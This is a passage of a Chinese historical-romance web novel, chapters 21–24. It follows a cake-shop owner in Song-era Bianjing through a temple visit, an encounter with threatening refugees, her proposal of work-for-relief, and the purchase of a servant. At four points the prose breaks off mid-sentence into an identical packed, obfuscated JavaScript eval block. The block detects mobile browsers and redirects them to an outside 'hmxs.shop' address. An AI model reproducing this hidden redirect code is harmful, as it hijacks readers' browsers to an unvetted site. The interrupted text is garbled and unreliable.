一时间，李记的糕团配着这精巧盒子和贴心册子，风头无两。 过了不久，连李记后墙那副淡墨山水画也换了下来，换上的，是李怀珠亲手绘的一幅长卷——各色糕团小像，旁写着名目、用料、滋味特点，用色清雅，浓淡合宜，看着就让人口舌生津。 有懂行的客人见了，惊叹店娘子的绘画工艺。 李怀珠只是抿嘴一笑，并不多言，心里却颇为得意：嘿，美术生的功底，总算没全扔给老师！ ＊ 转眼到了六月，天气是彻底热起来了。 这日倒也不是什么大日子，只是民间素有“六月六，晒红绿”的习俗，亦或是去寺庙进香礼佛，求个夏节平安。 李怀珠自己也偷得浮生半日闲，便索性挂出了店休的告牌，早早备好几盒糕团，带着团娘往大相国寺去了。 大相国寺今日比往常热闹些，李怀珠拎着糕团盒子，领着团娘，先往大雄宝殿去。 时人捐香火钱也有讲究，李怀珠寻了一位知客僧说明来意，知客僧引她到偏殿一处静室，内有僧人记录。另取出两吊青蚨，双手奉上：“信女李氏，感念宝刹佛法慈恩，前次素宴亦蒙诸位师父照拂。些许香资不成敬意，愿充灯油之费，或助寺中修缮之用。” 她话说得谦和，又点明是感谢之前的帮助，并非泛泛之捐。 记录的僧人合十还礼：“阿弥陀佛，施主有心。功德簿上，便记为‘长生钱’，为施主祈福。” “长生钱”是专用于为捐资者祈求福寿的香火，记录在寺中，每逢法会便有僧人诵经回向，这比铜板入箱又诚心得多。 刚记录完，方丈正好从殿后转出，见了李怀珠含笑驻足。 李怀珠上前见礼，方丈捻珠还礼，“李施主客气。施主巧思慧心，素宴广为称道，亦是敝寺之缘。今日前来可是又有新作？” 李怀珠莞尔，使团娘把糕团奉上，笑道：“只是做了几样应季凉糕，想着寺院清净，送来给师父们解解暑气。” 方丈也不推辞，让身旁僧人接过，道：“施主不忘敝寺，足见诚心。今日寺中另有法事，老衲便不远送。愿施主顺遂安康。” “大师慢行。”李怀珠躬身送别。 团娘在一旁默默看着，眼里有些羡慕，等方丈走远，小声对李怀珠说：“娘子，我想给爹娘点盏莲花灯，行么？” 瞧这丫头，李怀珠心里一软，揉了揉团娘的发顶，“自然可以，你且去寻执事僧问问该多少香资，我这儿尽有。” 团娘点点头，转身去寻僧人，李怀珠知她是想起早逝爹娘，只盼那小小莲灯，真能载着女儿的念想渡往彼岸。 仆从二人点了莲花灯，又从侧门出了寺院。 大相国寺门口一条街全是各色摊贩，撑着青布棚子，卖香烛的、卖饮子的、卖素食点心的，一眼看去，只一家素面馆子还算干净。 店面不大，只摆着四五张桌子，倒有一半坐着香客。 两人寻了靠里一张空桌坐下，点了两碗素斋面，一碟凉拌青瓜，一碟卤豆干。 两人正吃着，忽听邻桌几位娘子议论。 “……听说了么？京郊往南一百多里，河阳县那边，前几日出了大事！” “怎么没听说！唉，真是造孽。咱们汴京只下了几场小雨，那边地势低，又赶上上游暴雨，竟是山洪冲垮了好大一段河堤……” “可不是！淹了好几个村子，田舍都毁了。朝廷倒是派了人去抚恤，可眼见不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946431|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少人家园子没了，怕是待不住，要往汴京这边来讨生活呢……” “流民？这……这要是来了，城里可怎么安顿？” “谁说不是呢！官府想必也有章程，只是这大热天的……” 几位娘子说得低声，李怀珠抬眼，与团娘对视一眼。 天灾无情，最苦的还是百姓。 流民若真涌入汴京，城中治安、民生，恐怕都要受些影响。 正思忖间，旁边一位穿着体面的娘子转过头，仔细瞧了李怀珠两眼，“这位……可是榆林巷李记的店主娘子？” 李怀珠莞尔，“正是，娘子认得我？” 那娘子笑开了：“真是李娘子，方才瞧着就像！我家就在榆林巷附近，常去买糕团，尤其是玫瑰乳酪团，我家小女喜爱得不得了！” 她这一声，引得同桌另外两位娘子也看了过来。 “原来是李记娘子！” “您家朝食做的好味，那荷叶馍我当家的日日念叨！” “还有新出的糕团册子，真是帮了大忙，上回送我姨母寿礼，就是照着册子配的，老人家欢喜得很！” 被几位娘子围着夸赞，李怀珠饶是平时大方，也有些不好意思。 又说了几句客气话，那几位娘子才转回去继续吃面。 李怀掩饰着被当面夸奖的赧然，心里却欢喜——谁不爱听好话呢？ 出了门，便是大相国寺外的市集。 既然来了，索性逛上一逛。 泥人、风车、竹编小玩意、各色干果蜜饯，李怀珠给团娘买了对磨喝乐，泥塑的小娃娃憨态可掬，手持荷叶，头顶莲蓬，正是宋时七夕前后流行的玩物，又买了麻绳、几个粗陶大罐，两把蒲扇，夏日里扇风驱蚊都好用，她小时候姥姥家就有——炎炎夏日，这东西可是哄睡小侄女的最佳利器。 正走着，忽见前方屋檐下，铺开大草席，席上晾晒着许多书卷，原来在“晒书”。 农历六月六，晒衣晒书，防潮防蠹，是古已有之的习俗。 李怀珠饶有兴趣放慢脚步，忽然想起自家的“团糕册子”，是不是也该趁这好日头，拿出来晒晒？念头一转，又觉好笑——那册子才画好不久，墨迹才干，哪里需要晒。 主仆二人回去时日头已经西斜。 李怀珠正想着晚上是煮点绿豆粥消暑，还是干脆用井水镇些瓜果，却一眼瞧见自家门前，影影绰绰立着几个人影。 待走近些，看清是几位年轻郎君，打头的两个是石子桓与谢慈，旁边还站着三位面生的郎君，瞧着年纪都相仿。 李怀珠上前几步，将人迎了上去。 “几位郎君，对不住，小店今日歇业，特意前来可是有事？” 22. 第 22 章 一位穿豆绿襕衫的郎君上前一步，“店主人莫怪，是我们唐突，想来定糕团的。” 有生意自然要做，开门将几位郎君往里让，又从柜台里取了册子来。 要定糕团的郎君姓陈，父亲是国子监的一位博士，与太常寺任太祝的同年是通家之好，两家小辈自幼相识，说话间便要定亲了，只是按着礼数，小娘子婚前不便出门，偏又听闺中姊妹说起李记糕团，便托陈郎君来问能否订一些，文定那日送去家中做礼。 李怀珠将册子奉上，团娘端了茶盘，几位郎君一边啜饮消暑，一边翻阅起册子。 几人订好，谢慈起身走到李怀珠身侧。 李怀珠抬头，笑问：“郎君也要订？不知是作何用途？” 这位谢郎君年纪瞧着也有二十，正是议亲的年纪。虽说性子冷清些，但人才样貌没得挑，上回那位四姑娘，人漂亮，性子看来也温柔和善……郎才女貌，门户若相当，没理由不喜欢——来给小娘子订的么？ 心里这般想着，眼神中也带上笑意。 谢慈看向她手中笔纸，订了一盒‘云鹤凌霄’盒，糕团也要的是如意糕、三色糕并几样朴素团子，凑了十八个。 欸，这搭配……不像送给闺中小姐的，倒像是男子交际用的。 李怀珠心里纳闷，手上还是依言记下。 似乎心有所感，小娘子在腹诽，谢慈深看她一眼，“家兄不日将携嫂侄抵京。些许点心，聊作洗尘。” 哦——原来如此。 李怀珠又恍然，他兄长？听这意思，兄长一家原先不在京里，现要来京中，这可是件好事，家眷团聚……念头还未转完，却听谢慈又开口。 “至于旁人，若想品尝娘子手艺，自然会亲自来订。” 这话说得没头没尾，可落在此时此景，尤其是陈郎君为未婚妻订糕团后，又似乎意有所指。 李怀珠被他这话弄得怔了怔，眨眨眼，看向他。 谢慈却已移开目光，侧身对石子桓道：“齐愈，你订好了么？” 石子桓正跟旁边人讨论是加个玫瑰团还是多加个桃果团，“我不急，再看看……” 李怀珠却还在琢磨谢慈那两句话。 难道……他是在委婉地告诉她，他与那位姑娘并无她所猜想的那种关系？ 李怀珠心下顿时有些讪讪，又有点好笑。 自己这乱点鸳鸯谱的心思怕是被人瞧出来了，不过瞧出来也就瞧出来，他这般特意澄清，看来是真对那位漂亮温柔的姑娘无意了。 啧啧，这谢郎君的眼光可真不是一般的高啊，也不知将来要寻个怎样的天仙人物…… * 七月初的汴京，暑气蒸腾，蝉鸣聒耳。 谢慈兄长名为谢卿，原在金陵任从五品江宁府通判，在去岁整饬漕运上头很出了些力，政绩斐然，今岁考评得了上等，被擢升入京，任正五品的户部郎中，举家迁入汴京。 朱雀街新收拾出来的宅邸，青瓦白墙，是座十分清雅的三进院子，原是某位致仕老翰林的老宅，因家人扶灵归乡，才托牙人赁售。 谢卿一家抵京的日子，谢慈早早带着两名仆从，到城东码头上候着，江南来的官船午时才到，未时二刻，一艘挂着“江宁府”灯笼的官船缓缓靠岸。 船板落下，先下来几个搬运行李的仆役，接着便见一位身着湖蓝襕衫的男子携着夫人步下船来。 男子约莫而立之年，眉目清俊，与谢慈有五六分相似，正是新任户部郎中谢卿，身侧着杏子红绫裙的妇人，瓜子脸，柳叶眉，嘴角天然含笑，便是谢卿的正房柳氏。 “兰时！”谢卿一眼便见岸边阿弟，脸上笑意绽开。 谢慈快步上前，叉手行礼：“兄长，嫂嫂，一路辛苦。” 柳氏笑着还礼：“二郎安好。汴京暑热，还要劳你久候。” 两人说话间，乳母抱着两个五六岁的孩子下了船。 谢卿与柳氏有一对龙凤胎，生得玉雪可爱，哥哥谢璋穿着宝蓝小衫，妹妹谢瑛着粉红襦裙，两个小娃娃正东张西望，后头跟着个年轻姨娘，手里牵着个三四岁的女儿谢婉，怯生生躲在姨娘身后。 “璋儿、瑛儿、婉儿，快叫二叔。”柳氏柔声唤道。 三个小人儿乖乖行礼，奶声奶气道：“二叔安好。” 谢慈素来清冷的眉眼柔和下来，蹲下身，从袖中取出三个锦袋：“这是二叔给你们的见面礼。” 锦袋里各装着一枚小巧金锁，刻着“长命百岁”字样，三个孩子欢喜接过，同谢慈致谢。 谢慈起身，又向那姨娘颔首致意，姨娘连忙福身回礼。 一行人上了马车，穿过熙攘街市，往朱雀街内行去。 马车里，柳氏撩起帘子一角，看着窗外忍不住叹道：“早听闻东京梦华，今日一见，果然名不虚传。这般热闹，江宁府是比不得了。” 谢卿笑道：“你这话说的，江宁也是六朝金粉地，怎么就比不得了？” “那不一样。”柳氏嗔他一眼，“江宁虽好，可这到底是天子脚下……” 谢慈在一旁静坐，途经榆林巷道时，正见李记铺子前排着队，想是各家仆妇小厮去拿订的糕团。 “……李记，”谢卿忽然想起什么，“兰时，这就是你在家书里提起的‘李记’么？” 谢慈回神，点头：“是。李记糕团颇有巧思，今日接风的席面，我也订了些。” 柳氏好奇：“哦？能让二叔这般称道，定是不凡。我原还想着，从江宁带来的厨娘，怕你们吃不惯北地饮食，如今看来，倒是我多虑了。” 谢慈道：“嫂嫂体贴，慈心领。只是兄长初来，尝尝本地风味，也是趣事。” 说话间，马车已到谢宅门前。 宅子虽不算大，但处处清幽雅致，柳氏里外看了一圈，连连点头，好，真好，虽比不得江宁老宅宽敞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949956|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但胜在安然闲适，收拾得体。 仆役们忙着安置行李，待一切忙完，已是申时末刻。 晚宴摆在正堂，菜色多是江宁风味——清蒸鲥鱼、腌笃鲜、芦蒿煨香干，并几样汤菜，皆是自家厨娘的拿手菜，自然，也少不了李记糕团。 婢子呈上糕盒，柳氏眼睛一亮：“这盒子倒别致。” 盒外漂亮生动，盒内里也花了心思，嵌上了不同长度的窄木条，能随意抽动、组合，各色团子分置其中，圆的、方的、长的，分格摆放，互不挤压，底下垫着青翠箬叶，更衬其晶莹可爱，盒子左下角还篆刻‘李记’二字。 谢卿凑近细看，赞道，“这字刻得漂亮，有金石气。” 柳氏拈起一个玫瑰乳酪团，轻咬了一口，“玫瑰香而不腻，乳酪绵密，璋儿、瑛儿、婉儿，你们尝尝。” 几个孩子早就眼巴巴等着，闻言各拿了一个，谢琬年纪小，姨娘帮她掰了半个如意糕。 “二叔，”谢瑛举着吃了一半的桃果团，“里面真的有桃肉！” 谢慈含笑点头：“喜欢便好。” 柳氏又尝了个雪芽团，不由赞叹：“这李记掌柜，定然是个心思灵巧的。” 正说着，谢璋忽然“咦”了一声。 众人看去，只见他手里的糕团已经吃完，正捏着垫底的箬叶翻看。 箬叶下，竟露出小半张红纸。 “这是什么？”谢璋抽出红纸，上面用墨笔写着几行小字。 柳氏接过，念道：“贺君得彩，福运绵长。持此红纸至李记，可任选糕团一枚，以为赠礼。” 念完，不由笑起来，“还有这等趣事？” 话音未落，谢瑛也叫起来：“我这儿也有！” 桃果团下箬叶垫着的不是红纸，而是张淡粉花笺。 花笺上绘着几枝折枝梅花，旁边写着一行娟秀小字：“解此谜者，亦可赠糕团一枚。” 下面是一则字谜：“半边有毛半边光，半边味美半边香。半边吃的山上草，半边还在水里藏。” 谢瑛举着花笺，跑到柳氏身边：“娘亲娘亲，这谜语怎么解？” 柳氏仔细看了，思索片刻，笑道：“这谜倒巧……谜底可是‘鲜’字？” 谢瑛眨眨眼，还没想明白，谢卿却已笑了：“夫人解得妙极！” “解对啦！”谢瑛欢喜拍手，又看谢慈，“二叔，那我也可以去李记换糕团么？” 谢慈眼中含笑：“自然可以。” 团子解谜，让人想起“买扑”之趣——市肆间以彩头招徕，原是汴京商贾惯用的法子，可眼前的红纸花笺何尝不是一种“糕团关扑”？只是做得更雅致，不着痕迹。这位李娘子，分明是算准了孩童得彩欣喜、大人解谜的兴致，但凡家中有稚子的，持着这纸片儿，哪会只满足去李记换一枚团子？总要再选上三五样旁的点心，方才尽兴而归。 ——好个伶俐的小娘子。 23. 第 23 章 七夕一到，街上最热闹的还要数卖磨喝乐的摊子。 这泥娃娃是要供在乞巧楼里的，穷人家供素坯的，富户就要供那穿红纱的、描金眼的，说起来，这小玩意儿最数马行街东头一个老汉捏得最好，他手底下的磨喝乐总让人觉得眼珠儿活泛泛的，倒真像要开口讨巧似的，这几日每去豆腐坊挑浆子，李怀珠都能瞧见一群小娘子们围着挑。 李记这几日也格外忙碌。 自打糕团册子和礼盒推出来订糕的人便没有停过，七夕佳节正是走亲访友的好时候，有郎君为心仪的小娘子订的，有娘子为闺中姊妹订的，更有大户人家一订便是十几盒，要分送给各房亲友。 未时一到，街上行人便稀落了，家家户户早早收了摊，娘子郎君们备好礼，只待入夜后携手观灯，李记门前也不再有人排队，预订的糕团都已取走，剩下的零星散客也都赶着回家过节去了。 还有几个盒子便万事大吉，李怀珠和团娘还想着出门去看鳌山灯，过一把乞巧节，这边正收拾着，门外却不知何时站了六七个人，几个人皆是衣衫褴褛，脚上草鞋沾满泥污，一看便是从远处来的，为首的是个中年汉子，身后跟着几个年轻人和两个老妪妇人。 “掌柜的……”那汉子开口，嗓子很是沙哑，“行行好，给点吃的吧。我们从河阳来的，三天没吃顿饱饭了。” 李怀珠心下恻然，这几日她也听说了流民的事，偶尔有孤寡老幼来讨些吃食也从不吝啬，只是眼前这几位……却不似寻常饥民那般畏缩。 团娘已从柜台后拿出剩下的糕团，包了递过去：“这些给你们。快些吃吧。” 那汉子接过了却不急着分，反而盯着李怀珠，又看了看铺子里：“掌柜的心善……只是这几个团子不够我们这些人分啊。掌柜的生意这么好，能不能再给些银钱？我们也好买些干粮路上吃。” 团娘皱眉：“你们怎么还得寸进尺了？我们娘子好心给吃的，你们……” “团娘。”李怀珠走上前道：“这位大哥，吃的我可以多给些，但银钱不便。小店本小利薄，也是挣得辛苦钱。” 她说着，叫团娘去做了几个荷叶馍，又包了些剩下的酱菜一并递过去：“这些够你们饱餐一顿了。天色不早，还是早些去寻官府安置的地方吧。” 那汉子接过食物，却仍站着不动。 他身后的几个年轻人互相使了个眼色，慢慢往前挪了半步。 李怀珠心中一紧，这才看清几个青年虽然面黄肌瘦，但手臂粗壮，哪里是寻常逃荒的百姓？ 团娘也察觉不对，悄悄挪到李怀珠身边，小声道：“娘子，他们……” “掌柜的，”那汉子又开口，“你看，我们这些人背井离乡实在艰难。你就当日行一善，给个一二两银子，我们绝不纠缠。” 李怀珠面上一凛，道：“我说了银钱不便。你们若再不走，我便要喊巡街的衙役了。” “衙役？”一个年轻男子嗤笑，“今日七夕，衙役都在金明池维持灯会，谁管你这小巷子？” 气氛不知什么时候紧绷住了，这伙人不知何时又往前逼近一步，将门口堵住，李怀珠也没经历过这种险事，自然是很怕——铺子里只有她和团娘两个女子，若这些人真要硬来也不是对手…… 就在此时，巷口传来一阵车马声。 只见两顶小轿正朝这边行来，前后跟着三四个家丁仆妇。 轿子在李记门前不远处停下，前头的轿帘掀开，先下来个嬷嬷，接着扶出一位锦衣小娘子，正是谢慈的侄女谢瑛，后头的轿子里，谢慈也躬身而出，先嘱咐嬷嬷好生照看侄女儿谢瑛，这才抬眼望向李记。 这一望，便看见了店门口的情形。 这可真是江湖救急，李怀珠忙扬声招呼：“郎君安好，可是来取预定的糕盒？” 谢慈神色一滞，继而缓步走来：“正是，叨扰娘子了。” 他步履从容，身后跟着家丁却已不动声色站到了李记门前左右，几个流民见状神色明显慌乱起来，老妪和两个妇人忙攥紧手中吃食，低着头往巷子另一头退去，几个青年男人对视一眼，到底没敢再说什么，也跟着匆匆离去。 团娘长舒一口气，拍着胸口道：“可算走了……” 李怀珠也觉心下稍安，对谢慈福身一礼：“多谢郎君解围。” 谢慈微微颔首，倒也不似从前生僻了，只温声道：“近日京中流民渐多，娘子独自经营，还需多小心。” “是。”李怀珠苦笑，“平日里多是老弱妇孺来讨些吃食，今日这样的倒是头一回。” 这时，谢瑛已凑到柜台前，看着那些五颜六色的糕团，小声问身边的嬷嬷：“这些就是二叔订的么？” 李怀珠去取预定的糕盒，谢慈订的是“云鹤凌霄”盒，里头配了十八样糕团，都用箬叶垫着，分格摆放得干洁整齐，颇有些欺霜傲雪的姿态。 “郎君验看。”李怀珠将盒子捧上。 谢慈却没有离开的意思，反而问道：“那方才那些人，娘子往常是如何应对的？” 不知他怎么问了这些，李怀珠如实道：“不过是给些剩的糕饼，力所能及罢了，总不忍心看人饿着。” “施食自然是善举。”谢慈道：“只是如方才那般，若有壮年男子成群结队而来，单凭施食恐难周全。” 见人是在关心自家，李怀珠也跟着点头：“郎君说的是。今日若非郎君恰巧路过，怕是要费些周折——不过说来也怪，河阳水患已过去月余，朝廷既有赈济，为何还有这许多人流入京城？且方才那两个男子，瞧着也并非没有力气干活的人……” 谢慈似是没想到她会想到这一层，抬眸瞧她一眼，便示意家丁接过糕盒，让嬷嬷先带着谢瑛到一旁，继续道：“娘子有所不知，朝廷赈济虽已下发，但灾后重建非一日之功。田地淹没，房屋倒塌，便是有赈粮，也只能解一时之急。” 李怀珠若有所思：“所以那些老弱妇孺或许真是无依无靠，可那些壮年男子何不在家乡参与重建？官府难道没有以工代赈的章程？” “以工代赈？”谢慈一怔，温声问道：“娘子是说，让灾民通过劳作换取赈济？” 李怀珠这才意识到自己顺口说了个新词儿，忙解释道：“我也是从前在宫中时偶见书中记载，每逢大灾，有的官员会组织灾民修堤筑路，既能解决眼前吃食，又能为地方兴利，一举两得——” “譬如本朝范公任杭州知府时，见浙西大饥，他便大兴土木，募民修寺筑仓，让灾民通过劳作得食，既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954600|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安定了民心，又未耗损国库过多……” 谢慈不由站直了身子：“……此法自古有之，娘子以为可行？” “儿见识粗略，自然觉得可行。” 以己度人去想，李怀珠陪人聊闲篇也是一贯的较真，“流民为何生乱？无非是饥寒交迫走投无路。若能让他们有活干，有饭吃，谁愿意铤而走险？况且，组织得当的话，还可按籍贯、亲缘编成小队，互相作保，便于管理。” “再有旁的，譬如流民中若有拖家带口的，妇孺老弱做不了重活，但可以组织起来做些轻省营生，比如可设工坊让妇人纺纱织布，老人编筐制篓，所做物品由官府统一收买，或充官用，或发卖出去，总能抵得过饭食。” 谢慈眼中赞赏之色愈浓，目色嘉赞：“……娘子实在博闻。” 不过是比时人多学了些什么政治经济罢了，面对俊俏郎君的恭维，李怀珠也大方受用，笑道：“这其实不算新鲜。春秋时管仲治齐，便有‘使民各得其所长’的说法。唐时刘晏理财，亦曾组织灾民疏浚漕渠，事半功倍。” 她说完，才发觉谢慈已深深看了她许久。 那目光不似平日清冷，狭长的凤眼微眯，唇角不知何时已微微扬起。 他见过许多谈论时政的文人学子，或引经据典滔滔不绝，或愤世嫉俗痛陈时弊，却从未见过如眼前这小娘子般，既有仁心，又有实策，既懂圣贤道理，又知民间疾苦…… 李怀珠见他不言，不好意思地摆摆手：“儿随口一说，郎君莫笑话。” “岂敢笑话。”谢慈注视着她，道：“娘子所言句句在理，尤‘以工代赈’之策，深合圣贤‘授人以渔’之理。慈受教了。” * 谢府花厅里，晚膳刚过。 谢卿坐在太师椅上，慢慢啜着茶，柳氏在一旁哄着三个孩子玩乞巧穿针。 谢慈走进来，先与兄嫂见礼，然后在一旁坐下，又提到了李怀珠那番安置流民的见解。 谢卿起初只是听着，待听到“以工代赈”“集工统销”，神色渐渐郑重起来。 “不愧是宫中出来的女官，所见所识可不简单。” “是。”谢慈道，“她所言虽不深奥，却句句要害，尤是可组织灾民集中做工，由官府统一购销——此法若能推行，不仅可安顿流民，或许还能为地方添些新产。” 柳氏也停下手中的针线，讶然道：“一个食肆娘子，竟有这般见识？” “所以我才说她不简单。”谢卿想起什么，又道：“刚巧前几日我去拜会王侍郎，他还提起河阳流民之事，说是户部和工部还在商议接下来的章程，明日我便将这些想法，与王侍郎说道说道。他是户部右侍郎，主管赋税户籍，若觉得可行，或可上达天听。” 谢慈眼中浮现笑意：“兄长也觉得可行？” “至少值得一试。”谢卿正色道，“治大国如烹小鲜，有时候朴素的道理反而管用。这位李娘子能想到这些，可见是个有头脑的女子。兰时——” 他看向阿弟，意味深长道：“你平日不爱交际，能识得这般奇女子，倒也是缘分。” 谢慈垂眸，端起茶盏抿了一口，他自然知道兄长的意思，只是缘分么…… 他从来是信事在人为的。 24. 第24章 七夕灯会，李怀珠终究没能去成。 最后一盒糕团被取走时已是深夜，方才还遭过流民窥伺，金明池更是远在城那头，主仆俩哪还有力气穿半座城去看灯。 铺中三张矮几早已撤到一旁，李怀珠净了脸，立在院里抬头看天——银河淡淡，星子疏疏，什么“金风玉露一相逢”，什么“灯火阑珊处”，都比不上一张床榻来得踏实。 于是这一年的鹊桥银河、兰夜乞巧，也只在酣眠里遇了一回。 七夕热闹渐渐散尽，京中的流民却似乎又多了一些，虽不至衣衫褴褛，可那些蹲踞街角的生面孔总叫人心里不安，尤其想起日前那伙壮年流民的模样。 人对于险事，或许真有预感。 又过两日，夜里隔壁忽然响起惊叫——原来有贼趁着夜色摸来，虽未劫得大财，却掠走了银器店王掌柜家不少东西，街口的衙役硬是半个多时辰才到，王娘子哭天抢地，可那衙役们却兴致缺缺，听得眼皮直耷拉，李怀珠站在自家灯下瞧着，觉得店里还是缺个人手。 两个年轻女子守着铺子，终非长久之计，贼人就算偷不着大钱，吓你一跳、损你些东西，也够受的。 该花的钱不能省，平安比什么都紧要。 翌日，李怀珠带着团娘，找到了南城一处颇大的官私牙行。 这地方比她想象中更嘈杂纷乱，因着水患，卖儿卖女的人家不少，还有些是犯了事被抄没的官宦之家发卖出来的奴仆，牙人们穿梭其间不住高声吆喝，像挑拣货物般拉着待售的人，这边看看，那边问问。 牙人楚三见李怀珠衣着整齐，容貌又好，不像寻常来看热闹的，立刻迎上来：“这位娘子，可是要买人？丫鬟？婆子？还是小子？咱这儿货色齐全，保管娘子满意！” 李怀珠道：“想选一位能看家护院的郎君，年纪二十往上，最好有些力气。” “哎呦，娘子好眼光！这样的人手如今可俏！” 牙人引着她们往里边走，穿过一群瑟缩的妇孺，来到一处稍微宽敞些的棚下，这里站着七八个男子，多是二三十岁年纪，努力挺起胸膛，展示自己还算结实的胳膊。 牙人指着其中一个方脸阔口的汉子：“娘子瞧这个，原是城外庄子上的佃户，一把子好力气，耕田伐木都是一把好手！老实本分，买回去看院子、干粗活，最合适不过！” 李怀珠打量那汉子，确实还行，买回去以后别说别的，这柴反正不用买了，“多少贯？” 牙人伸出五根手指，又弯下一根：“四十贯！娘子诚心要，三十九贯也成！” 好家伙，一个壮汉要价近四十贯？这还真有些囊中羞涩了，李怀珠寻思着，这些钱能买好几年的柴了。 见她不言语，牙人又指向另一个略瘦些的：“这个便宜点，三十五贯！原是走镖的趟子手，手上有点功夫，等闲三两个汉子近不得身！” 李怀珠还是没吭声。 三十五贯只是买人钱，往后每月工钱、吃穿用度都是开销，她这小本经营暂时还不能这么豪横。 牙人察言观色，知道是嫌贵，眼珠子一转赔笑道：“娘子是开铺子做生意的吧？想找实惠又能干的？其实啊，那些镖局、大户人家，买起这样的壮汉才叫爽快，价钱自然抬上去了。娘子若不然……看看别的？” 说着，他引着李怀珠往旁边走去。 这里多是些半大孩子，瘦弱男子，或垂垂老矣的仆役。 目光逡巡间，忽见角落里一阵骚动。 一个瞧着不过十八九岁的年轻人，趁着看守的牙人不备，猛然扑向旁边一个妇人手里的半块炊饼，抢过来就往嘴里塞，那妇人吓得惊叫，看守的牙人怒骂着上前，一把揪住少年的头发，另一只手去扣他的嘴：“吐出来！你个饿死鬼投胎的！” 那少年被揪得头往后仰，却死死咬着炊饼不松口，牙人用力抠他腮帮，少年吃痛一挣，竟一头撞在牙人胸口，同时手肘狠狠向后一顶， 那牙人猝不及防，被他撞得连退好几步，一屁股跌坐在地上，哎呦叫唤起来。 周围一阵低呼。 李怀珠这才看清那少年，人很高，却极瘦，套着件不合身的灰布短褐，露出的手腕脚踝骨节嶙峋清癯，头发乱糟糟用草绳束着，脸上脏污，看不清具体模样，正警惕看着四周，嘴里不知把什么东西嚼的飞快，拼命吞咽。 刚才推人那一下，力气倒是不小。 原先那精瘦牙人见状，骂了一句，快步过去，扬起手里短鞭就要抽：“恒奴！又是你！皮痒了是不是！” 名叫恒奴的少年梗着脖子，不躲不闪。 就在这时，恒奴似乎瞧见了站在不远处的李怀珠，不知怎的，凶狠眼神竟飞快收敛起来，噗通一声，朝牙人的方向跪下了，低下头，不再吭声。 牙人的鞭子到底没抽下去，只恨恨道：“屡教不改的东西，活该卖不出去！” 李怀珠走了过去，问道：“这是怎么回事？” 精瘦牙人见主顾有兴趣，忙换了脸色，指着恒奴道：“娘子可别被他这皮相骗了！这小子，原是樊楼后厨卖出来的杂役！在那等金贵地方，偷吃客人剩饭，屡教不改。主家嫌他丢人现眼，这才发卖到这儿。来了大半个月了，就因这臭脾气，没人肯要他！” 恒奴跪在地上，闻言反驳，“你胡说！我才不是因这事被卖的！” “嘿！还敢顶嘴！”牙人扬鞭虚抽一下。 恒奴脖子一梗，“那大厨分明是怕我偷学了他的手艺，才寻个由头告了主家，把我卖了的！我是吃了客人的剩饭，不然早饿死了！” “偷师？”李怀珠挑了挑眉，蹲下身，平视恒奴。 少年没想到她会蹲下，对视片刻，登时有些窘迫，别开了脸。 “那你偷学到了吗？”李怀珠有些好奇。 恒奴脸一红，像是被踩了尾巴：“没有！” “哦，没有啊。”李怀珠点头，作势要起身，“那可惜了。还以为捡个便宜呢。” 她刚站直，转身欲走，就听身后少年急急道：“……学到了！” 李怀珠回头。 恒奴嘟囔道：“那、那东西谁不会啊……切了三年菜，闭着眼也知道了。” 嗯，在樊楼后厨切了三年菜？ 樊楼是汴京七十二正店之首，能进去切三年菜，就算只是杂役，见识和基本功怕是也比寻常厨子强，至于偷吃剩饭……若真如他所说，情况紧急，那与其说是品行问题，不如说是为了活命。 李怀珠转向牙人：“他卖多少？” 牙人正愁这烫手山芋，忙道：“娘子要是看得上，诚心要，十五贯！不，十三贯！连身契一并给您！只要十三贯！” 十三贯，比起四十贯的壮汉，简直是跳楼大甩卖。 李怀珠笑道：“就他了。” ＊ 恒奴的身契从樊楼转出，又过了官牙，正式到了李怀珠名下。 回到榆林巷，顺道给他买了身合身的衣裳，叫人去后院洗漱。 等人洗漱干净，换好衣服，李怀珠这才看清他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962851|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底什么样子。 